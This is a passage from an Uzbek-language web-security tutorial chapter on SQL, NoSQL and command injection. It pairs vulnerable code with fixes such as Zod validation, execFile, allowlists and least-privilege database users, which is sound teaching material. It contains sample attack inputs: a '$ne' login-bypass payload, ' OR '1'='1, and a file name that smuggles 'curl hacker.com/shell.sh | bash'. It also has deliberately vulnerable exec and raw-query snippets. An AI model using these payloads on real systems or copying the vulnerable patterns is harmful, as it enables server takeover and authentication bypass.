  const parsed = LoginSchema.safeParse(req.body);
  if (!parsed.success) return res.status(400).json({ error: "Noto'g'ri ma'lumot" });
  const user = await User.findOne({ email: parsed.data.email });   // email string
  if (user && await bcrypt.compare(parsed.data.password, user.passwordHash)) {
    res.json({ token: createToken(user) });
  } else res.status(401).json({ error: "Noto'g'ri" });
});

Bu nima qiladi: Bu — NoSQL (MongoDB) operator injection (2.3 — express + MongoDB'da keng). Zaif kod: req.body.email/req.body.passwordni to'g'ridan User.findOnega qo'yish. Express JSON body'ni obyekt sifatida qabul qiladi — agar hujumchi { "email": "admin@x.com", "password": { "$ne": null } } yuborsa, password maydoni obyekt ({ $ne: null } — MongoDB operatori "null emas"), so'rov "email admin VA password null emas" bo'ladi — admin'ning paroli null emas (bor) shart rost hujumchi admin token oladi (parolni bilmasdan). Bu NoSQL injection (operator obyekt so'rovga o'tdi). Xavfsiz kod: Zod validatsiya — LoginSchema (email: z.string().email(), password: z.string().min(1)) — z.string() parolni string bo'lishini majburlaydi (agar password obyekt — { $ne: null } — bo'lsa, safeParse rad etadi — 400). Validatsiyadan o'tsa, parsed.data.password string (operator emas), va u bcrypt.compare bilan alohida tekshiriladi (so'rovga qo'yilmaydi). Natija: operator injection ishlamaydi (Zod string majburlaydi — obyekt o'tmaydi). Asosiy himoya — validatsiya (Zod — har maydon kutilgan tur): NoSQL injection'ning sababi foydalanuvchi body'ni tekshirmasdan so'rovga qo'yish (operator o'tadi), yechim — har maydonni validatsiya (string kutilsa, obyekt rad). Qo'shimcha: express-mongo-sanitize ($ bilan kalitlarni olib tashlaydi — global himoya), tur tekshir (typeof === "string"). Express + MongoDB ishlatsangiz, har route'da body validatsiya (Zod) — NoSQL injection'ni oldini oladi. Bu SQL injection'dan farqli (string birlashtirish emas — operator), lekin yechim asosan validatsiya (kutilgan tur/format — never trust input).

Misol 3 — Command injection (fayl konvertatsiya — 2.4)

Maqsad: Fayl konvertatsiyada command injection va execFile bilan himoya. Bu fayl yuklash xususiyatida xavf.

tsx

//  ZAIF — exec (shell) foydalanuvchi fayl nomi bilan:
import { exec } from "child_process";
function makeThumbnail(filename: string) {
  exec(`convert uploads/${filename} -resize 200x200 thumbs/${filename}`);
}
// hujumchi fayl nomi: "x.jpg; curl hacker.com/shell.sh | bash; echo "
//  ; bilan zararli buyruq (shell yuklash va bajarish) — server egallandi!

//  XAVFSIZ — execFile (shell yo'q, argument massivi) + validatsiya:
import { execFile } from "child_process";
import path from "path";

function makeThumbnail(filename: string) {
  // 1. Validatsiya — faqat xavfsiz fayl nomi (harf/raqam/nuqta):
  if (!/^[a-zA-Z0-9._-]+$/.test(filename)) throw new Error("Noto'g'ri fayl nomi");
  const safeName = path.basename(filename);   // yo'l qismini olib tashlash (path traversal)

  // 2. execFile — argument massivi (shell parsing YO'Q — ; ishlamaydi):
  execFile("convert", [`uploads/${safeName}`, "-resize", "200x200", `thumbs/${safeName}`]);
}

//  YANADA YAXSHI — kutubxona (shell butunlay yo'q):
// import sharp from "sharp";
// await sharp(`uploads/${safeName}`).resize(200, 200).toFile(`thumbs/${safeName}`);

Bu nima qiladi: Bu — command injection (fayl konvertatsiyada — 2.4 — fayl yuklash xususiyatida keng xavf). Zaif kod: exec(\convert uploads/${filename}...`)—execbuyruqni **shell** orqali bajaradi (meta-belgilar —;, |— ishlaydi). Agar hujumchi fayl nomini"x.jpg; curl hacker.com/shell.sh | bash; echo "qilsa, buyruq;bilan ajraladi —curl ... | bash (hujumchi serveridan skript yuklab, serverda bajaradi) — **server butunlay egallandi** (eng halokatli). **Xavfsiz kod**: (1) **validatsiya** — fayl nomi faqat xavfsiz belgilar (/^[a-zA-Z0-9._-]+$/— harf, raqam, nuqta, chiziq —;, bo'shliq, /rad),path.basename(yo'l qismini olib tashlash — path traversal — 2.5 —../ rad); (2) **execFile** — execo'rniga (shell **yo'q** — to'g'ridanconvertdasturini argument **massivi** bilan chaqiradi —filenamefaqat argument qiymati, shell meta-belgilar ishlamaydi —;oddiy belgi sifatidaconvertga uzatiladi, buyruq ajralmaydi). **Yanada yaxshi**: shell buyruq **o'rniga** Node kutubxonasi (sharp— rasm uchun) — shell butunlay yo'q (eng xavfsiz — tashqi dastur chaqirish yo'q). Demak: command injection himoyasi — (1)execFile(shell yo'q), (2) validatsiya (fayl nomi), (3) iloji bo'lsa kutubxona. **Eng keng xato** —execbilan foydalanuvchi ma'lumoti (fayl nomi, parametr). Fayl yuklash, rasm/video konvertatsiya, PDF generatsiya — bularda tashqi dastur ishlatilsa, command injection xavfi (foydalanuvchi fayl nomi/ma'lumoti shell'ga). Iloji boricha **kutubxona** ishlat (shell yo'q), shart bo'lsaexecFile` + validatsiya. Command injection kamroq, lekin eng halokatli (server nazorati) — shuning uchun ehtiyot.

Misol 4 — Allowlist (saralash maydoni — 2.6)

Maqsad: Saralash/filtr maydonini allowlist bilan himoya — foydalanuvchi kiritgan maydonni to'g'ridan DB'ga bermaslik. Bu nozik injection nuqtasi.

tsx

//  ZAIF — foydalanuvchi saralash maydonini to'g'ridan:
async function getProducts(sortBy: string) {
  // sortBy = "price" yoki hujumchi: "(SELECT ...)" yoki noto'g'ri maydon
  return db.$queryRawUnsafe(`SELECT * FROM products ORDER BY ${sortBy}`);   // injection!
}

//  XAVFSIZ — allowlist (faqat ruxsat etilgan maydonlar):
const ALLOWED_SORT = ["name", "price", "createdAt", "rating"] as const;
type SortField = (typeof ALLOWED_SORT)[number];

async function getProducts(sortBy: string) {
  // Foydalanuvchi kiritgan maydon ruxsat etilganmi? (aks holda default):
  const field: SortField = ALLOWED_SORT.includes(sortBy as SortField)
    ? (sortBy as SortField)
    : "createdAt";   // ruxsat etilmagan  default

  // ORM bilan (parametrlangan emas — maydon nomi, lekin allowlist'dan — xavfsiz):
  return db.product.findMany({ orderBy: { [field]: "desc" } });
}

Bu nima qiladi: Bu — allowlist himoyasi (saralash maydoni — nozik injection nuqtasi — 2.6). Muammo: saralash/filtr maydonlari (ORDER BY ${sortBy}) parametrlangan so'rov bilan to'liq himoyalanmaydi — chunki maydon nomi (ustun nomi) qiymat emas (parametr $1 ustun nomiga ishlamaydi — faqat qiymatlarga). Agar foydalanuvchi sortByni to'g'ridan bersa (ORDER BY ${sortBy}), hujumchi sortByga SQL kiritishi mumkin (injection — masalan (SELECT CASE WHEN ... ) — blind injection). Xavfsiz kod: allowlist (oq ro'yxat) — foydalanuvchi kiritgan maydonni ruxsat etilgan maydonlar ro'yxati (ALLOWED_SORT = ["name", "price", "createdAt", "rating"]) bilan tekshirish — agar ro'yxatda bo'lsa ishlatish, aks holda default (createdAt). Endi foydalanuvchi sortBy = "(SELECT ...)" bersa ham — u ro'yxatda yo'q createdAt ishlatiladi (injection yo'q). ORM (orderBy: { [field]: "desc" }) bilan, lekin field allowlist'dan (ishonchli qiymat — foydalanuvchi kiritgan emas). Nega allowlist (validatsiya o'rniga): saralash maydoni cheklangan to'plam (faqat bir necha ustun) — allowlist bu uchun ideal (faqat ma'lum, ruxsat etilgan qiymatlar — kutilmagan hammasi rad). Bu "never trust input"ning kuchli shakli — denylist (yomon belgilarni rad) emas, allowlist (faqat yaxshilarni qabul — qolgani rad — ishonchliroq, chunki yomonni oldindan bilish shart emas). Saralash, filtr, ustun nomlari, fayl turlari, status qiymatlari — bularda allowlist (cheklangan to'plam — faqat ruxsat etilgan). Bu nozik injection nuqtasi (ko'p dasturchi parametrlangan so'rov bilan himoyalangan deb o'ylaydi, lekin maydon nomi parametrlanmaydi — allowlist kerak). Allowlist — cheklangan qiymatlar uchun eng xavfsiz yondashuv.

Misol 5 — Least privilege (DB foydalanuvchi — 2.6)

Maqsad: DB foydalanuvchisiga faqat kerakli huquqlar — injection bo'lsa ham zararni cheklash. Bu defense in depth qatlami.

sql

--  ZAIF — app butun DB admin huquqi bilan ulanadi:
-- DATABASE_URL=postgresql://admin:pass@host/db  (admin — DROP, CREATE, hammasi)
--  injection bo'lsa, hujumchi DROP TABLE, boshqa DB ham qila oladi

--  XAVFSIZ — app uchun cheklangan foydalanuvchi (least privilege):
-- 1. App foydalanuvchi yarat (faqat kerakli huquqlar):
CREATE USER app_user WITH PASSWORD 'kuchli_parol';

-- 2. Faqat kerakli operatsiyalarga ruxsat (DROP/CREATE YO'Q):
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO app_user;
-- DROP, ALTER, CREATE — BERILMAYDI (app ularni qilmaydi)

-- 3. App shu foydalanuvchi bilan ulanadi:
-- DATABASE_URL=postgresql://app_user:kuchli_parol@host/db

text

NATIJA (defense in depth):
 agar injection bo'lsa ham (boshqa himoya buzilsa), hujumchi:
   SELECT qila oladi (zarar bor, lekin cheklangan)
   DROP TABLE qila OLMAYDI (huquq yo'q — jadval o'chmaydi)
   Boshqa DB'ga kira OLMAYDI
 zarar CHEKLANGAN (injection halokati kamayadi)

Bu nima qiladi: Bu — least privilege (DB foydalanuvchi huquqlari — defense in depth qatlami — 2.6, 14.1: 2.3). Zaif holat: ilova ma'lumotlar bazasiga admin huquqi bilan ulanadi (DATABASE_URL=...admin:... — admin barcha huquq — DROP, CREATE, ALTER, boshqa DB) — agar injection bo'lsa (boshqa himoya buzilsa), hujumchi hamma narsani qila oladi (DROP TABLE users — jadvalni o'chirish, boshqa DB'ga kirish — maksimal zarar). Xavfsiz holat — least privilege (eng kam imtiyoz): ilova uchun cheklangan DB foydalanuvchi yaratish: (1) CREATE USER app_user (alohida foydalanuvchi); (2) GRANT SELECT, INSERT, UPDATE, DELETE (faqat kerakli operatsiyalar — ilova shularni qiladi) — DROP, ALTER, CREATE berilmaydi (ilova bularni qilmaydi, shuning uchun huquq kerak emas); (3) ilova shu app_user bilan ulanadi. Natija (defense in depth): agar injection bo'lsa ham (boshqa himoya — parametrlangan so'rov — buzilsa), hujumchi SELECT qila oladi (zarar bor — ma'lumot o'qish — lekin cheklangan), lekin DROP TABLE qila olmaydi (huquq yo'q — jadval o'chmaydi), boshqa DB'ga kira olmaydi injection halokati keskin kamayadi (butun DB o'chirish o'rniga — faqat o'qish). Bu — defense in depth (14.1: 2.3): parametrlangan so'rov (injection'ni oldini olish) birinchi qatlam, least privilege ikkinchi (agar injection bo'lsa ham — zarar cheklangan). Hech bir himoya 100% emas (dasturchi bir joyda raw so'rov yozishi mumkin) — least privilege "agar buzilsa ham" zararni kamaytiradi. Bu — production DB sozlamasining standart amaliyoti (ilova hech qachon admin huquqi bilan ulanmaydi — faqat kerakli). Ko'p ilova buni e'tiborsiz qoldiradi (admin bilan ulanadi — qulay, lekin xavfli). Least privilege — har resursga (DB, fayl, API) qo'llaniladi (faqat kerakli ruxsat).

5. To'g'ri va noto'g'ri holatlar

1) SQL so'rov

text

 `SELECT ... '${email}'` (string birlashtirish — Misol 1)
 ORM yoki parametrlangan ($queryRaw`...${x}`)

2) MongoDB

text

 req.body to'g'ridan so'rovga (operator — Misol 2)
 Zod validatsiya (string majburlaydi)

3) Shell buyruq

text

 exec(`cmd ${userInput}`) (shell — Misol 3)
 execFile (argument massivi) yoki kutubxona

4) Saralash maydoni

text

 ORDER BY ${sortBy} (foydalanuvchi maydoni — Misol 4)
 allowlist (ruxsat etilgan maydonlar)

5) DB ulanish

text

 admin huquqi (DROP — Misol 5)
 least privilege (faqat kerakli)

6) Raw so'rov

text

 $queryRawUnsafe(`...${x}`) (parametrlanmagan)
 $queryRaw`...${x}` (teglangan — parametrlangan)

6. Keng tarqalgan xatolar va yechimlari

Xato 1 — String birlashtirish bilan SQL

Sababi: ${userInput} so'rov ichida (Misol 1). Yechimi: ORM yoki parametrlangan so'rov.

Xato 2 — Express body to'g'ridan MongoDB so'rovga

Sababi: operator injection (Misol 2). Yechimi: Zod validatsiya (tur tekshir).

Xato 3 — exec bilan foydalanuvchi ma'lumoti

Sababi: shell meta-belgilar (Misol 3). Yechimi: execFile yoki kutubxona.

Xato 4 — Saralash/filtr maydoni to'g'ridan

Sababi: maydon nomi parametrlanmaydi (Misol 4). Yechimi: allowlist.

Xato 5 — Fayl yo'liga foydalanuvchi ma'lumoti

Sababi: path traversal (../ — 2.5). Yechimi: path.basename + papka tekshir.

Xato 6 — App admin DB huquqi bilan

Sababi: least privilege buzilgan (Misol 5). Yechimi: cheklangan DB foydalanuvchi.

7. Integratsiya — bu mavzu stack'ning qayerida uchraydi

DB/ORM (6-QISM): Prisma/Drizzle — parametrlangan (avtomatik himoya).
Backend (5, 8-QISM): Express/NestJS — validatsiya (DTO/Zod).
Validatsiya (5.9, 13.5): Zod (injection oldini — tur/format).
XSS 14.2-bob: injection oilasi (frontend versiyasi).
OWASP 14.1-bob: A03 (injection).
Fayl yuklash 5.11-bob: path traversal, command injection (konvertatsiya).
Auth 14.5-bob: SQL/NoSQL injection — login chetlab o'tish.

8. Eng yaxshi amaliyotlar (best practices)

Parametrlangan so'rov (ORM yoki $1/teglangan — Misol 1).
Validatsiya (Zod) (tur/format — NoSQL injection oldini — Misol 2).
execFile (shell emas) (command injection — Misol 3).
Allowlist (saralash/filtr maydoni — Misol 4).
Least privilege (DB foydalanuvchi — Misol 5).
ORM ishlat (default parametrlangan — eng oson himoya).
path.basename (path traversal oldini — 2.5).
$queryRawUnsafe ishlatma (parametrlangan raw — 2.5).
Never trust input (har manba — 14.1: 2.3).
Kutubxona shell o'rniga (sharp, va h.k. — Misol 3).

9. Amaliy loyiha: "Injection-Xavfsiz API"

Injection himoyasini to'liq API'da mustahkamlash.

Maqsad

API qur (mahsulot/foydalanuvchi) — barcha injection turidan himoyalangan: SQL, NoSQL, command, path, allowlist.

Talablar (requirements)

SQL/ORM: parametrlangan so'rov (Prisma — Misol 1).
Login: injection chetlab o'tish himoyasi (Misol 1, 2).
Validatsiya: Zod har endpoint (tur/format — Misol 2).
Saralash/filtr: allowlist (Misol 4).
Fayl yuklash: path.basename + execFile/kutubxona (Misol 3, 5).
Least privilege: cheklangan DB foydalanuvchi (Misol 5).
Raw so'rov (agar): parametrlangan ($queryRaw).
Test: injection payload sinab ko'r (' OR '1'='1, { $ne: null }).
Sanitizatsiya: NoSQL ($ operatorlar).
Audit: har foydalanuvchi kirishi qaerga borishini tekshir.

Maslahatlar (hint)

ORM (parametrlangan — Xato 1).
Zod validatsiya (Xato 2).
execFile (Xato 3).
allowlist (Xato 4).
least privilege (Xato 6).

"Tayyor" mezonlari (acceptance criteria)

Parametrlangan so'rov (SQL).
Validatsiya (NoSQL oldini).
Command injection himoya.
Allowlist (saralash).
Least privilege DB.
Injection payload ishlamaydi (test).

Yechim kodi ataylab berilmagan — bu loyihani o'zingiz yozib ko'ring.

10. Xulosa va keyingi bobga ko'prik

Bu bobda injection (SQL, NoSQL, command)'ni chuqur o'rgandik:

Injection mohiyati 2.1-bob; SQL injection 2.2-bob; NoSQL injection 2.3-bob; command injection 2.4-bob; boshqa turlar 2.5-bob; himoya tamoyillari 2.6-bob; SQL injection hujum turlari — in-band/blind/stacked 2.7-bob; testing va qo'shimcha qatlamlar — sqlmap, WAF, second-order 2.8-bob.

Endi siz injection'ni oldini olasiz: parametrlangan so'rov (ORM), validatsiya (Zod), execFile, allowlist, least privilege. XSS 14.2-bob bilan birga — injection oilasini to'liq bilasiz (ma'lumotni koddan ajrat).

Keyingi bob — 14.4-bob: CSRF va SSRF. Injection'ni bildik; endi ikki muhim hujumni ko'ramiz: CSRF (Cross-Site Request Forgery — foydalanuvchini bilmasdan amal qildirish — masalan soxta saytdan bank o'tkazmasi), va SSRF (Server-Side Request Forgery — serverni yomon so'rov yuborishga majburlash — ichki tizimlarga kirish). Himoya: CSRF token, SameSite cookie, URL validatsiya. Bu — OWASP A10 (SSRF) va keng CSRF hujumi.

Foydalanilgan rasmiy/ishonchli manbalar

OWASP — "SQL Injection", "NoSQL Injection", "Command Injection", "Injection Prevention Cheat Sheet", "Query Parameterization Cheat Sheet"
OWASP Top 10 — A03:2021 "Injection" (tavsif, ta'sir, oldini olish)
Prisma hujjati — raw queries ($queryRaw teglangan vs $queryRawUnsafe), SQL injection oldini olish
Node.js docs — child_process (execFile/spawn vs exec, shell: false); path (path.basename)
MongoDB hujjati — query operatorlar ($ne, $gt, $where); express-mongo-sanitize, Mongoose schema
Zod hujjati — sxema validatsiyasi (z.string(), safeParse) — kirish tekshiruvi
PostgreSQL hujjati — GRANT/REVOKE (least privilege — rolga huquq berish)
PortSwigger Web Security Academy — SQL injection (UNION, blind boolean/time-based), NoSQL, OS command injection laboratoriyalari (amaliy)
sqlmap — SQL injection avtomatik topish/audit vositasi (rasmiy hujjat)

Izohlar (0)

Izoh yozish uchun kiring.

Hozircha izoh yo'q. Birinchi bo'ling!

14.3-bob: Injection (SQL, NoSQL, Command)

1. Kirish va motivatsiya

2. Nazariya — chuqur tushuntirish

2.1. Injection mohiyati

2.2. SQL injection (hujum va himoya)

2.3. NoSQL injection (MongoDB)

2.4. Command injection (server shell)

2.5. Boshqa injection turlari

2.6. Himoya tamoyillari (umumiy)

2.7. SQL injection hujum turlari (chuqurroq)

2.8. Injection topish (testing) va qo'shimcha qatlamlar

3. Sintaksis — tez ma'lumotnoma

4. Batafsil misollar

Misol 1 — SQL injection hujumi va himoyasi (2.2)

Misol 2 — NoSQL injection (MongoDB login — 2.3)

Misol 3 — Command injection (fayl konvertatsiya — 2.4)

Misol 4 — Allowlist (saralash maydoni — 2.6)

Misol 5 — Least privilege (DB foydalanuvchi — 2.6)

5. To'g'ri va noto'g'ri holatlar

6. Keng tarqalgan xatolar va yechimlari

7. Integratsiya — bu mavzu stack'ning qayerida uchraydi

8. Eng yaxshi amaliyotlar (best practices)

9. Amaliy loyiha: "Injection-Xavfsiz API"

Maqsad

Talablar (requirements)

Maslahatlar (hint)

"Tayyor" mezonlari (acceptance criteria)

10. Xulosa va keyingi bobga ko'prik

Foydalanilgan rasmiy/ishonchli manbalar

Izohlar (0)